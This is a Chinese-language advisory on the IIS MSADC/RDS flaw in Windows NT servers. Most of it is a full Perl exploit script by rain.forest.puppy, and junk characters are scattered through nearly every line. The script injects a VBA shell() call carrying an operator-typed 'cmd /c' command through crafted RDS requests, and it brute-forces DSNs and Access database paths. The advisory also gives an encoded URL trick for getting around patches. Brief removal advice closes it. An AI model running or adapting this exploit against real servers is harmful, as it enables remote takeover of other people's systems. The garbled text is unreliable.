IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^8-~@01.`_ QVG0>,+}$ 涉及程序：
L >Ez- Microsoft NT server
"'}v 0*[ f0mH|tI` 描述：
+ptF - 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;+ C o!L ^0-e,d
9h 详细：
sPE)m_u 如果你没有时间读详细内容的话，就删除:
emkMR{MY c:\Program Files\Common Files\System\Msadc\msadcs.dll
bDZ K Q& 有关的安全问题就没有了。
D=82$$ Rd vPsv} D 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
cdJ`Gk S1az3VJI\ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
cJHABdK- 关于利用ODBC远程漏洞的描述，请参看:
}* B qi7E> KXx@
{cv http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P Q &Q71 /_:T\`5uO 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
@ O<@f8- http://www.microsoft.com/security/bulletins/MS99-025faq.asp #lyM+.T K[#v(<) 这里不再论述。
_8x'GK
tU ;vI*ThzdD 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
m[@%{ +J o 3rX'` /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Vyq#p9Q 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
-l P ) w$b+R8.n) y= oVUsG #将下面这段保存为txt文件，然后: "perl -x 文件名"
(N*<\6kr BS-:dyBw #!perl
! =\DC,-CB #
s#+"5&!s # MSADC/RDS 'usage' (aka exploit) script
_d\u!giy #
C"U[ b% # by rain.forest.puppy
rTP5-4 #
He T6Dv # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/jjW/ lr # beta test and find errors!
Ere?d~8 o8};e use Socket; use Getopt::Std;
1Es*=zg getopts("e:vd:h:XR", \%args);
Y0Hq+7x C>Omng1>^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
2xL!PR- :_o ] F if (!defined $args{h} && !defined $args{R}) {
_uO!N(k. print qq~
B8c BQ v Usage: msadc.pl -h <host> { -d <delay> -X -v }
)]c]el @y -h <host> = host you want to scan (ip or domain)
>/!7i3Ow- -d <seconds> = delay between calls, default 1 second
f%Z;05 -X = dump Index Server path table, if available
L @1,7@
-v = verbose
WA]%,6 -e = external dictionary file for step 5
JVUZ}#O F_Z&-+,*3t Or a -R will resume a command session
`N|U"s; nJtEUVMt ~; exit;}
7x[L F ^o ( Lok $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\A'|XdQ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/-!&k if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
SE,o7_ k'S if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
. 0nn0)" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
OYs zW]UMg if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
XD $% d] O_E4X* if (!defined $args{R}){ $ret = &has_msadc;
)K>Eniou die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
05l0B5'p c N02roQl print "Please type the NT commandline you want to run (cmd /c assumed):\n"
] ?DDCew . "cmd /c ";
Q(~3pt $in=<STDIN>; chomp $in;
@9}),hl` $command="cmd /c " . $in ;
zdxT35h a,/M'^Yy N if (defined $args{R}) {&load; exit;}
w ?]ZU- e-[>( n/[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
HG{&U:>) &try_btcustmr;
~w
Zl2I ]dP Vtk print "\nStep 2: Trying to make our own DSN...";
0t# NMW &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^%\)Xi F [>7z 3I print "\nStep 3: Trying known DSNs...";
'O.+6`& &known_dsn;
:r1;}hIA9 U}tl_5%) print "\nStep 4: Trying known .mdbs...";
x4CtSGG85f &known_mdb;
BA~a?"HS T"L0Iy!k; if (defined $args{e}){
Ys"|</;dbj print "\nStep 5: Trying dictionary of DSN names...";
, vY)n6 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
uL2" StW 1*C:h g@ print "Sorry Charley...maybe next time?\n";
8q]J;T exit;
Q0pC4WJ` ?TvQ"Y}k ##############################################################################
cZNi~ pwJ'3NbS sub sendraw { # ripped and modded from whisker
ZWf-X sleep($delay); # it's a DoS on the server! At least on mine...
q*~gWn>T my ($pstr)=@_;
GY oZ$p" C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
rPRrx-A die("Socket problems\n");
38[)[{G)Hv if(connect(S,pack "SnA4x8",2,80,$target)){
cvZni#o2) select(S); $|=1;
?j1_
n,d print $pstr; my @in=<S>;
K^"w]ii= select(STDOUT); close(S);
I\}|Y+C$d/ return @in;
z=ML(1c= } else { die("Can't connect...\n"); }}
OJ v}kwV |BwRlE2CFO ##############################################################################
El~-M`Gf UH5w7M sub make_header { # make the HTTP request
EoKC8/ my $msadc=<<EOT
z7-`Y9Ypd POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
k/df(cs
User-Agent: ACTIVEDATA
:=rA Yc3] Host: $ip
FJO"|||Y'| Content-Length: $clen
r8IX/ , Connection: Keep-Alive
oS~}T R:} C@*%AY ADCClientVersion:01.06
` *>V6B3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
7S BM^r} ?QGmoQ) --!ADM!ROX!YOUR!WORLD!
%0vTA_W Content-Type: application/x-varg
; ( K Content-Length: $reqlen
)8[ym/m q\a[S* EOT
K R&s? ; $msadc=~s/\n/\r\n/g;
dSwm|kIa return $msadc;}
M{] e 5+ 92!JKZe
##############################################################################
.2e1S{ 9 #MUiL= sub make_req { # make the RDS request
RXBb:f my ($switch, $p1, $p2)=@_;
Iph3%RaE
my $req=""; my $t1, $t2, $query, $dsn;
tC2N >C[N ;S fNKu if ($switch==1){ # this is the btcustmr.mdb query
U);O R $query="Select * from Customers where City=" . make_shell();
4py(R-8\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1 ojhh7< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
bFSlf5* H L59bu/LfL elsif ($switch==2){ # this is general make table query
,!`SY ) $query="create table AZZ (B int, C varchar(10))";
#e*X0;m $dsn="$p1";}
Ejq=*UOP lj)f4zu elsif ($switch==3){ # this is general exploit table query
mV< i JZh $query="select * from AZZ where C=" . make_shell();
J2r1=5HS $dsn="$p1";}
Yrpxy.1=F5 'V&2Xvl% elsif ($switch==4){ # attempt to hork file info from index server
4GV Nw!V $query="select path from scope()";
T'8RkDI}- $dsn="Provider=MSIDXS;";}
&ik$L!iX ]pWP?Ws elsif ($switch==5){ # bad query
&} , *\Oj $query="select";
?L=A2C\_- $dsn="$p1";}
JH;DVPX9z _Q}z 6+_\ $t1= make_unicode($query);
?{IvA: $t2= make_unicode($dsn);
Z.(x|Q9 $req = "\x02\x00\x03\x00";
C(Y6 t1 $req.= "\x08\x00" . pack ("S1", length($t1));
/Q_\h+ ` $req.= "\x00\x00" . $t1 ;
N^N?!I $req.= "\x08\x00" . pack ("S1", length($t2));
a~"X.xT\R $req.= "\x00\x00" . $t2 ;
0G 1o3[F $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~` hcgCi% return $req;}
K),wAZI!7j ?@(H.
D6'v ##############################################################################
YTh4&wm \LXC269 sub make_shell { # this makes the shell() statement
DV" ri return "'|shell(\"$command\")|'";}
yBiwYk6 N f'9]I ##############################################################################
Q1[s{, ?O ?~|nI sub make_unicode { # quick little function to convert to unicode
bm.H0rHR4 my ($in)=@_; my $out;
0wcWDE
9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Q[KR,k return $out;}
Shd,{Z)-Tg }YO}LQ-| ##############################################################################
w}b+vh^3Wy PEl]HI_H sub rdo_success { # checks for RDO return success (this is kludge)
7A-rF U$ my (@in) = @_; my $base=content_start(@in);
uS jMqfK if($in[$base]=~/multipart\/mixed/){
G#v7-&Yl6 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
d`/{0 :F return 0;}
9@B+$~:}7 2[hl^f^%, ##############################################################################
OpE+e4~IF (?[cDw/{J: sub make_dsn { # this makes a DSN for us
'3->G/ Pu my @drives=("c","d","e","f");
N~d]}J8}gx print "\nMaking DSN: ";
P|U>(9;P, foreach $drive (@drives) {
U?{j print "$drive: ";
O=/Tx2i; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)Cl&"bX "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Vba}RF[b . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
rl=_ "sd= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
@~ L.m}GF return 0 if $2 eq "404"; # not found/doesn't exist
Y."[k&P- if($2 eq "200") {
i=T/}c)
foreach $line (@results) {
9g"H9)EZ^ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]Ox.6BKjDP } return 0;}
NM Ajt>t zOw]P6Gk ##############################################################################
8hg(6 XUG z wW9>Y sub verify_exists {
Z}wAh|N- my ($page)=@_;
VJaL$Wv)H my @results=sendraw("GET $page HTTP/1.0\n\n");
\zwb> ^ return $results[0];}
L\[jafb_` ~^*tII OX ##############################################################################
th)jEK;Z {xX|5/z sub try_btcustmr {
z-j \S7F my @drives=("c","d","e","f");
`39U I 7 my @dirs=("winnt","winnt35","winnt351","win","windows");
O.dNhd$ x{}m)2[ Y foreach $dir (@dirs) {
o<4LL7$A! print "$dir -> "; # fun status so you can see progress
.R,8<4 foreach $drive (@drives) {
OA0\b _ print "$drive: "; # ditto
DI 7trR` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$;1~JOZh $reqlenlen=length( "$reqlen" );
9[*kpMC $clen= 206 + $reqlenlen + $reqlen;
\=<.0K A~
6>Y}2fT}o3 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
iC]}M if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
v oxlo>: else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#a&Vx&7L +!(hd ##############################################################################
|7-tUHMo[ H NPr|
( sub odbc_error {
GFid riC my (@in)=@_; my $base;
ES> 3Cf my $base = content_start(@in);
OjI*HC if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
C&T3vM $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ElAG~u? $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e| LXH/H $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DxBt83e return $in[$base+4].$in[$base+5].$in[$base+6];}
&}uO ]0bR print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
pK`rm"6G print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
itU01 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
l
O^h)hrR V4 H+m,R ##############################################################################
@b
zrJ 7$ :FSkXe2yy0 sub verbose {
`dK\VK^ my ($in)=@_;
'9)@ U+yfQ return if !$verbose;
W A/\ x print STDOUT "\n$in\n";}
BhjXNf9[ ^:0?R/A ##############################################################################
`3-j%H2R dXj.e4,m sub save {
wK_}`6R/ my ($p1, $p2, $p3, $p4)=@_;
CHz( wn open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*Pl[a1= o print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
?r+tU close OUT;}
9HE)!Co l SYL$ ?kl ##############################################################################
UnPSJ]VW " J9+~)e^! sub load {
S XL6)pX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
pV!(#45 ~W open(IN,"<rds.save") || die("Couldn't open rds.save\n");
8yo9$~u ; @p=<IN>; close(IN);
$
]HI YYs $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
D u/s $target= inet_aton($ip) || die("inet_aton problems");
[D) A + print "Resuming to $ip ...";
d2Y5'A0X $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
a
AuQw if($p[1]==1) {
!ZVMx*1Cf $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Y5
dt?a $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
}?JO[Q + my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
t^'1Ebg if (rdo_success(@results)){print "Success!\n";}
Uu(W62 else { print "failed\n"; verbose(odbc_error(@results));}}
y^
:x2P elsif ($p[1]==3){
[{ pc1U- if(run_query("$p[3]")){
BK{8\/dg print "Success!\n";} else { print "failed\n"; }}
ihn M`TpMJ elsif ($p[1]==4){
(_ T&2% if(run_query($drvst . "$p[3]")){
u-Vnmig9 print "Success!\n"; } else { print "failed\n"; }}
r?Vob}'Pt] exit;}
dM') < lF N%-nxbI\ ##############################################################################
[Y*UCFhI0 ubL Lhf sub create_table {
.28*vkH%C= my ($in)=@_;
QWoE o $reqlen=length( make_req(2,$in,"") ) - 28;
5~kf:U%~ $reqlenlen=length( "$reqlen" );
0 kkiS 3T $clen= 206 + $reqlenlen + $reqlen;
_D:/?=y;e my @results=sendraw(make_header() . make_req(2,$in,""));
5v3B8 @CsA return 1 if rdo_success(@results);
?`r/_EKNv my $temp= odbc_error(@results); verbose($temp);
$Z j. return 1 if $temp=~/Table 'AZZ' already exists/;
EPI*~=Z.U return 0;}
MS b{ve_ =Yfs=+O ##############################################################################
K( p1+ GHC "FU|I1Xz sub known_dsn {
E.}Zmr#H # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
$W09nz9? my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
~i
\69q% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
4MIVlg9 "banner", "banners", "ads", "ADCDemo", "ADCTest");
x83XJFPWL (ZnA#% foreach $dSn (@dsns) {
0nS6<: print ".";
B}(YD;7vJ next if (!is_access("DSN=$dSn"));
FD*y[A
? if(create_table("DSN=$dSn")){
=k_u5@.Z
print "$dSn successful\n";
K !9=e7|P if(run_query("DSN=$dSn")){
[bp"U*!9P print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1.!(#I3 print "Something's borked. Use verbose next time\n";}}} print "\n";}
k\lj<v<vD v/.2Z(sZ ##############################################################################
S `[8TZ
TwH(47|?Nt sub is_access {
, 9rT|:N my ($in)=@_;
1/i| $reqlen=length( make_req(5,$in,"") ) - 28;
K. %E=^~q $reqlenlen=length( "$reqlen" );
:J"e{|g', $clen= 206 + $reqlenlen + $reqlen;
HCu1vjU(] my @results=sendraw(make_header() . make_req(5,$in,""));
UY PBKf]A9 my $temp= odbc_error(@results);
MMf6QxYf verbose($temp); return 1 if ($temp=~/Microsoft Access/);
z TK return 0;}
<. <Nw 6 >GcFk& x ##############################################################################
x6,RW],FGR V7^?jck sub run_query {
NE! Xt <A my ($in)=@_;
+)Ty^;+[1 $reqlen=length( make_req(3,$in,"") ) - 28;
YT_kM y> $reqlenlen=length( "$reqlen" );
&F:7U! $clen= 206 + $reqlenlen + $reqlen;
f`c z @ my @results=sendraw(make_header() . make_req(3,$in,""));
g R6:J return 1 if rdo_success(@results);
A T% 0i my $temp= odbc_error(@results); verbose($temp);
N wc(< return 0;}
ij TtyTC M *}$$Fe| ##############################################################################
=_XcG! " 1#@'U90xf sub known_mdb {
}QI*Ns my @drives=("c","d","e","f","g");
`A'*x]l my @dirs=("winnt","winnt35","winnt351","win","windows");
X#o:-FKf my $dir, $drive, $mdb;
&K4o8Qz my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
vhg4E80Kr 8RK\B%UW # this is sparse, because I don't know of many
QdRMp
n}q my @sysmdbs=( "\\catroot\\icatalog.mdb",
Bj2rA.M "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
?{[H+hzz0 "\\system32\\certmdb.mdb",
wO"Q{oi+ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
n`hSn41A H5 -I}z my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
& dS+!<3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
k X-AC5] "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
k >MgrtJI "\\cfusion\\cfapps\\security\\realm_.mdb",
H!A^ MI "\\cfusion\\cfapps\\security\\data\\realm.mdb",
^TjFR*S'E "\\cfusion\\database\\cfexamples.mdb",
<omz9d1 "\\cfusion\\database\\cfsnippets.mdb",
ks{s
Q@~ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
\kRBJ1)|f "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
6y 0C "\\cfusion\\brighttiger\\database\\cleam.mdb",
vi2xonq^ "\\cfusion\\database\\smpolicy.mdb",
YK- R|z6K "\\cfusion\\database\cypress.mdb",
i^>
RjR "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
*qqFIp^ "\\website\\cgi-win\\dbsample.mdb",
NubD2 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:DD4BY "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
crT[;w ); #these are just
qm '$R3g foreach $drive (@drives) {
A#i-C+"} foreach $dir (@dirs){
2H /a&uo@n foreach $mdb (@sysmdbs) {
e p^0Cd/ print ".";
L`!sV-. if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
I@\{6hw print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|&'*Z\*ya if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
sPw(+m*C print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
j lB3BwG{w } else { print "Something's borked. Use verbose next time\n"; }}}}}
eyM3W}[S$/ &>/nYvuq - foreach $drive (@drives) {
3S9~rLrn? foreach $mdb (@mdbs) {
T;% SB& print ".";
<Du*Re6g if(create_table($drv . $drive . $dir . $mdb)){
VMHY.Rf print "\n" . $drive . $dir . $mdb . " successful\n";
94R+S-|P if(run_query($drv . $drive . $dir . $mdb)){
~) Z`Q print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
g %Am[f b } else { print "Something's borked. Use verbose next time\n"; }}}}
M}vPWW cl }
4 A<c@g2 N.<hZ\].= ##############################################################################
r~;N(CG Grqs*V &|g sub hork_idx {
w"e2}iE7 print "\nAttempting to dump Index Server tables...\n";
+!<`$+W print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Jq!($PdA $reqlen=length( make_req(4,"","") ) - 28;
`Ct j ]t $reqlenlen=length( "$reqlen" );
Hl O+^(eX $clen= 206 + $reqlenlen + $reqlen;
p<jr&zVEc> my @results=sendraw2(make_header() . make_req(4,"",""));
UOu&sg*o2B if (rdo_success(@results)){
OU+*@2")t my $max=@results; my $c; my %d;
n5 i}J/Sa2 for($c=19; $c<$max; $c++){
k8ck#%#}Wu $results[$c]=~s/\x00//g;
0 QpWt $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Z/x1?{z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
\Q$);:=q Q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
gXQ)\MY $d{"$1$2"}="";}
. FruI#99 foreach $c (keys %d){ print "$c\n"; }
o]Ki+ U } else {print "Index server doesn't seem to be installed.\n"; }}
$X?V_K;9/ @|@43}M]C- ##############################################################################
t|q=N K/ }>w;
+XU sub dsn_dict {
fP|\1Y?CS open(IN, "<$args{e}") || die("Can't open external dictionary\n");
26**tB < while(<IN>){
BpC Sf.zZ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
5J;c;PF next if (!is_access("DSN=$dSn"));
'UyL%h;nJ if(create_table("DSN=$dSn")){
n*1UNQp@]O print "$dSn successful\n";
5Zov< +kE if(run_query("DSN=$dSn")){
1K`A.J:Uy print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:o:??tqw print "Something's borked. Use verbose next time\n";}}}
Ef!F;D e)A print "\n"; close(IN);}
]'G7(Y\)f d
!H)voX ##############################################################################
:NL N xK _e' mG'P( sub sendraw2 { # ripped and modded from whisker
^#o.WL%4/B sleep($delay); # it's a DoS on the server! At least on mine...
u *<
(B my ($pstr)=@_;
? Y9?x,x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D8ly8]H die("Socket problems\n");
.EdV36$n if(connect(S,pack "SnA4x8",2,80,$target)){
_=MWt_A '3 print "Connected. Getting data";
hD*?\bBs0 open(OUT,">raw.out"); my @in;
D.!4i.)8} select(S); $|=1; print $pstr;
$ d"+Njd while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
bo2Od close(OUT); select(STDOUT); close(S); return @in;
Ie~~L U } else { die("Can't connect...\n"); }}
RBXoU'. !=we7vK} ##############################################################################
cMv3` $ UQFuEI<1- sub content_start { # this will take in the server headers
>W< 5$ .G my (@in)=@_; my $c;
J 0 P for ($c=1;$c<500;$c++) {
PG!vn@b6 if($in[$c] =~/^\x0d\x0a/){
_X[c19q if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
iCS/~[ else { return $c+1; }}}
H]e 2d| return -1;} # it should never get here actually
\ a!<^|C & Jj " {r{ ##############################################################################
ry0 =N^ 2}b bdX x sub funky {
v4$,Vt:7 my (@in)=@_; my $error=odbc_error(@in);
.tNB07=7 if($error=~/ADO could not find the specified provider/){
*"ShE=\p print "\nServer returned an ADO miscofiguration message\nAborting.\n";
+[ zo2lBx exit;}
zC rcCr if($error=~/A Handler is required/){
s__g*%@B
b print "\nServer has custom handler filters (they most likely are patched)\n";
5IK@<#wE exit;}
2. _cEY34 if($error=~/specified Handler has denied Access/){
V'.|IuN print "\nServer has custom handler filters (they most likely are patched)\n";
p B./L&h exit;}}
i`qh|w/b_ `2PT 8UM ##############################################################################
q4{ t H Fn,|J[sC sub has_msadc {
GLyh1qNX my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
]_?y[@Z P my $base=content_start(@results);
>y[S?M return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
RHbwq] return 0;}
w.f [) 9YABr>
? ########################
;"Y6&YP< ;[9Is\ 4lCm(#T{, 解决方案：
5MJ'/Fy( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
"puz-W'n 2、移除web 目录: /msadc
